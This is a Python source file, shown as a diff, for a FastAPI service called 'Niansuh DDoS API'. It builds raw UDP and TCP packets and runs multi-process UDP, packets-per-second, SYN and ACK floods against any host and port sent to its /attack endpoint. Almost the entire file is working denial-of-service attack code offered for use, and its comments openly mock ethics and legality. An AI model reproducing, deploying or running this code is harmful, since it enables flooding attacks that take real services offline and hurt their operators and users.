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|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
from fastapi import FastAPI, BackgroundTasks
|
| 2 |
+
from fastapi.responses import JSONResponse
|
| 3 |
+
import socket
|
| 4 |
+
import struct
|
| 5 |
+
import random
|
| 6 |
+
import os
|
| 7 |
+
import asyncio
|
| 8 |
+
from typing import Optional
|
| 9 |
+
import multiprocessing
|
| 10 |
+
|
| 11 |
+
app = FastAPI(title="Niansuh DDoS API", description="Fuck ethics, flood everything.")
|
| 12 |
+
|
| 13 |
+
# Global vars (because why not?)
|
| 14 |
+
target = "127.0.0.1"
|
| 15 |
+
port = 80
|
| 16 |
+
threads = 100
|
| 17 |
+
stop_event = multiprocessing.Event()
|
| 18 |
+
|
| 19 |
+
def checksum(data: bytes) -> int:
|
| 20 |
+
"""RFC 1071 checksum (because we need to pretend this is legit)."""
|
| 21 |
+
sum = 0
|
| 22 |
+
for i in range(0, len(data), 2):
|
| 23 |
+
if i + 1 < len(data):
|
| 24 |
+
sum += (data[i] << 8) + data[i + 1]
|
| 25 |
+
else:
|
| 26 |
+
sum += data[i] << 8
|
| 27 |
+
sum = (sum >> 16) + (sum & 0xFFFF)
|
| 28 |
+
sum += sum >> 16
|
| 29 |
+
return ~sum & 0xFFFF
|
| 30 |
+
|
| 31 |
+
def pseudo_header(src_ip: str, dst_ip: str, proto: int, length: int) -> bytes:
|
| 32 |
+
"""Pseudo-header for TCP/UDP checksum (because raw sockets need love)."""
|
| 33 |
+
src = socket.inet_aton(src_ip)
|
| 34 |
+
dst = socket.inet_aton(dst_ip)
|
| 35 |
+
return struct.pack(
|
| 36 |
+
"!4s4sBBH",
|
| 37 |
+
src,
|
| 38 |
+
dst,
|
| 39 |
+
0, # Reserved
|
| 40 |
+
proto,
|
| 41 |
+
length,
|
| 42 |
+
)
|
| 43 |
+
|
| 44 |
+
def build_udp_packet(src_ip: str, dst_ip: str, src_port: int, dst_port: int, payload: bytes) -> bytes:
|
| 45 |
+
"""Build a raw UDP packet (because UDP is fire-and-forget)."""
|
| 46 |
+
# IP Header
|
| 47 |
+
ip_header = struct.pack(
|
| 48 |
+
"!BBHHHBBH4s4s",
|
| 49 |
+
0x45, # Version/IHL
|
| 50 |
+
0x00, # ToS
|
| 51 |
+
20 + 8 + len(payload), # Total Length
|
| 52 |
+
random.randint(0, 65535), # ID
|
| 53 |
+
0x0000, # Flags/Frag Offset
|
| 54 |
+
64, # TTL
|
| 55 |
+
17, # Protocol (UDP)
|
| 56 |
+
0, # Checksum (filled later)
|
| 57 |
+
socket.inet_aton(src_ip),
|
| 58 |
+
socket.inet_aton(dst_ip),
|
| 59 |
+
)
|
| 60 |
+
ip_checksum = checksum(ip_header)
|
| 61 |
+
ip_header = ip_header[:10] + struct.pack("!H", ip_checksum) + ip_header[12:]
|
| 62 |
+
|
| 63 |
+
# UDP Header
|
| 64 |
+
udp_header = struct.pack(
|
| 65 |
+
"!HHHH",
|
| 66 |
+
src_port,
|
| 67 |
+
dst_port,
|
| 68 |
+
8 + len(payload), # UDP Length
|
| 69 |
+
0, # Checksum (filled later)
|
| 70 |
+
)
|
| 71 |
+
udp_checksum = checksum(pseudo_header(src_ip, dst_ip, 17, 8 + len(payload)) + udp_header + payload)
|
| 72 |
+
udp_header = udp_header[:6] + struct.pack("!H", udp_checksum) + udp_header[8:]
|
| 73 |
+
|
| 74 |
+
return ip_header + udp_header + payload
|
| 75 |
+
|
| 76 |
+
def build_tcp_packet(
|
| 77 |
+
src_ip: str,
|
| 78 |
+
dst_ip: str,
|
| 79 |
+
src_port: int,
|
| 80 |
+
dst_port: int,
|
| 81 |
+
seq: int,
|
| 82 |
+
ack: int,
|
| 83 |
+
flags: int,
|
| 84 |
+
) -> bytes:
|
| 85 |
+
"""Build a raw TCP packet (because SYN floods are fun)."""
|
| 86 |
+
# IP Header
|
| 87 |
+
ip_header = struct.pack(
|
| 88 |
+
"!BBHHHBBH4s4s",
|
| 89 |
+
0x45, # Version/IHL
|
| 90 |
+
0x00, # ToS
|
| 91 |
+
20 + 20, # Total Length (IP + TCP)
|
| 92 |
+
random.randint(0, 65535), # ID
|
| 93 |
+
0x0000, # Flags/Frag Offset
|
| 94 |
+
64, # TTL
|
| 95 |
+
6, # Protocol (TCP)
|
| 96 |
+
0, # Checksum (filled later)
|
| 97 |
+
socket.inet_aton(src_ip),
|
| 98 |
+
socket.inet_aton(dst_ip),
|
| 99 |
+
)
|
| 100 |
+
ip_checksum = checksum(ip_header)
|
| 101 |
+
ip_header = ip_header[:10] + struct.pack("!H", ip_checksum) + ip_header[12:]
|
| 102 |
+
|
| 103 |
+
# TCP Header
|
| 104 |
+
tcp_header = struct.pack(
|
| 105 |
+
"!HHLLBBHHH",
|
| 106 |
+
src_port,
|
| 107 |
+
dst_port,
|
| 108 |
+
seq,
|
| 109 |
+
ack,
|
| 110 |
+
(5 << 4), # Data Offset
|
| 111 |
+
flags,
|
| 112 |
+
0xFFFF, # Window Size
|
| 113 |
+
0, # Checksum (filled later)
|
| 114 |
+
0, # Urgent Pointer
|
| 115 |
+
)
|
| 116 |
+
tcp_checksum = checksum(
|
| 117 |
+
pseudo_header(src_ip, dst_ip, 6, 20) + tcp_header
|
| 118 |
+
)
|
| 119 |
+
tcp_header = tcp_header[:16] + struct.pack("!H", tcp_checksum) + tcp_header[18:]
|
| 120 |
+
|
| 121 |
+
return ip_header + tcp_header
|
| 122 |
+
|
| 123 |
+
def get_local_ip(dst_ip: str) -> str:
|
| 124 |
+
"""Get local IP for routing (because we need to spoof properly)."""
|
| 125 |
+
try:
|
| 126 |
+
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
| 127 |
+
s.connect((dst_ip, 53)) # DNS port (because why not)
|
| 128 |
+
local_ip = s.getsockname()[0]
|
| 129 |
+
s.close()
|
| 130 |
+
return local_ip
|
| 131 |
+
except:
|
| 132 |
+
return "0.0.0.0"
|
| 133 |
+
|
| 134 |
+
def udp_flood(dst_ip: str, dst_port: int):
|
| 135 |
+
"""UDP flood (because why not drown the target?)."""
|
| 136 |
+
local_ip = get_local_ip(dst_ip)
|
| 137 |
+
if local_ip == "0.0.0.0":
|
| 138 |
+
return
|
| 139 |
+
|
| 140 |
+
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
|
| 141 |
+
payload = os.urandom(1200) # Random payload (because noise is good)
|
| 142 |
+
|
| 143 |
+
while not stop_event.is_set():
|
| 144 |
+
src_port = random.randint(1024, 65535)
|
| 145 |
+
packet = build_udp_packet(local_ip, dst_ip, src_port, dst_port, payload)
|
| 146 |
+
sock.sendto(packet, (dst_ip, 0)) # Port 0 because raw socket
|
| 147 |
+
|
| 148 |
+
def udp_pps_flood(dst_ip: str, dst_port: int):
|
| 149 |
+
"""UDP PPS flood (because packets per second matter)."""
|
| 150 |
+
local_ip = get_local_ip(dst_ip)
|
| 151 |
+
if local_ip == "0.0.0.0":
|
| 152 |
+
return
|
| 153 |
+
|
| 154 |
+
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
|
| 155 |
+
|
| 156 |
+
while not stop_event.is_set():
|
| 157 |
+
src_port = random.randint(1024, 65535)
|
| 158 |
+
packet = build_udp_packet(local_ip, dst_ip, src_port, dst_port, b"")
|
| 159 |
+
sock.sendto(packet, (dst_ip, 0))
|
| 160 |
+
|
| 161 |
+
def syn_flood(dst_ip: str, dst_port: int):
|
| 162 |
+
"""SYN flood (because half-open connections are annoying)."""
|
| 163 |
+
local_ip = get_local_ip(dst_ip)
|
| 164 |
+
if local_ip == "0.0.0.0":
|
| 165 |
+
return
|
| 166 |
+
|
| 167 |
+
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
|
| 168 |
+
|
| 169 |
+
while not stop_event.is_set():
|
| 170 |
+
src_port = random.randint(1024, 65535)
|
| 171 |
+
seq = random.randint(0, 0xFFFFFFFF)
|
| 172 |
+
packet = build_tcp_packet(local_ip, dst_ip, src_port, dst_port, seq, 0, 0x02) # SYN flag
|
| 173 |
+
sock.sendto(packet, (dst_ip, 0))
|
| 174 |
+
|
| 175 |
+
def ack_flood(dst_ip: str, dst_port: int):
|
| 176 |
+
"""ACK flood (because why not confuse the target?)."""
|
| 177 |
+
local_ip = get_local_ip(dst_ip)
|
| 178 |
+
if local_ip == "0.0.0.0":
|
| 179 |
+
return
|
| 180 |
+
|
| 181 |
+
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
|
| 182 |
+
|
| 183 |
+
while not stop_event.is_set():
|
| 184 |
+
src_port = random.randint(1024, 65535)
|
| 185 |
+
seq = random.randint(0, 0xFFFFFFFF)
|
| 186 |
+
ack = random.randint(0, 0xFFFFFFFF)
|
| 187 |
+
packet = build_tcp_packet(local_ip, dst_ip, src_port, dst_port, seq, ack, 0x10) # ACK flag
|
| 188 |
+
sock.sendto(packet, (dst_ip, 0))
|
| 189 |
+
|
| 190 |
+
def start_flood(flood_type: str, dst_ip: str, dst_port: int, num_threads: int):
|
| 191 |
+
"""Start the flood in background (because async is cool)."""
|
| 192 |
+
stop_event.clear()
|
| 193 |
+
processes = []
|
| 194 |
+
for _ in range(num_threads):
|
| 195 |
+
if flood_type == "udp":
|
| 196 |
+
p = multiprocessing.Process(target=udp_flood, args=(dst_ip, dst_port))
|
| 197 |
+
elif flood_type == "udp-pps":
|
| 198 |
+
p = multiprocessing.Process(target=udp_pps_flood, args=(dst_ip, dst_port))
|
| 199 |
+
elif flood_type == "syn":
|
| 200 |
+
p = multiprocessing.Process(target=syn_flood, args=(dst_ip, dst_port))
|
| 201 |
+
elif flood_type == "ack":
|
| 202 |
+
p = multiprocessing.Process(target=ack_flood, args=(dst_ip, dst_port))
|
| 203 |
+
else:
|
| 204 |
+
return
|
| 205 |
+
p.start()
|
| 206 |
+
processes.append(p)
|
| 207 |
+
return processes
|
| 208 |
+
|
| 209 |
+
@app.post("/attack")
|
| 210 |
+
async def attack(
|
| 211 |
+
background_tasks: BackgroundTasks,
|
| 212 |
+
flood_type: str = "udp",
|
| 213 |
+
target: str = "127.0.0.1",
|
| 214 |
+
port: int = 80,
|
| 215 |
+
threads: int = 100,
|
| 216 |
+
):
|
| 217 |
+
"""Endpoint to start the attack (because why not expose it to the world?)."""
|
| 218 |
+
global stop_event
|
| 219 |
+
processes = start_flood(flood_type, target, port, threads)
|
| 220 |
+
|
| 221 |
+
def stop_attack():
|
| 222 |
+
stop_event.set()
|
| 223 |
+
for p in processes:
|
| 224 |
+
p.terminate()
|
| 225 |
+
|
| 226 |
+
background_tasks.add_task(stop_attack)
|
| 227 |
+
return JSONResponse(
|
| 228 |
+
content={
|
| 229 |
+
"status": "attack started",
|
| 230 |
+
"type": flood_type,
|
| 231 |
+
"target": f"{target}:{port}",
|
| 232 |
+
"threads": threads,
|
| 233 |
+
}
|
| 234 |
+
)
|
| 235 |
+
|
| 236 |
+
@app.post("/stop")
|
| 237 |
+
async def stop():
|
| 238 |
+
"""Endpoint to stop the attack (because even criminals need a kill switch)."""
|
| 239 |
+
stop_event.set()
|
| 240 |
+
return JSONResponse(content={"status": "attack stopped"})
|